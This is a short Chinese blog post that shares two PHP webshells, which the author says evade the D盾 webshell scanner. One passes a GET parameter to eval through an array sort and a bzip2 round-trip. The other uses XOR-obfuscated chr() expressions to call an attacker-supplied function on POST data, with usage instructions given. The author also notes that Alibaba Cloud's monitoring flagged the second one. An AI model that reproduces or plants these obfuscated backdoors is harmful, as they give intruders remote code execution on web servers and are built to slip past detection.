再发一个php免杀D盾小马
首页 > 学习    作者:Iamyc   2019年12月24日 18:03 星期二   热度:162°   百度已收录  
时间:2019-12-24 18:03   热度:162° 

贴代码:


<?php
$fruits = array("x" => "lemon", "s" => "orange", "assert" => "$_GET[1]", "k" => "apple");

$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->ksort();

foreach ($fruitArrayObject as $key => $val) {
	$a = bzcompress($val,9);
	
	eval(bzdecompress($a));
	//echo $a;
}
 ?>


云服没运行成功,好像不支持bzcompress,本地搭建环境是ok的


再发一个别人开源的小马,D盾也免杀的,不过放到我云服,阿里云分分钟短信、邮箱警告。

果然阿里云还是强呀,可能云盾得绕行为检测才行


<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).
(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).
(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).
(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?>


用法,http://***/yc.php?k=assert,同时POST数据:k=phpinfo();就行

二维码加载中...
本文作者:Iamyc      文章标题: 再发一个php免杀D盾小马
本文地址:http://lang-v.com/first_cms/yc/emlog/src/?post=127
版权声明:若无注明,本文皆为“YC's Blog”原创,转载请保留文章出处。

返回顶部    首页    手机版本    后花园  
版权所有:YC's Blog    站长: Iamyc    程序:emlog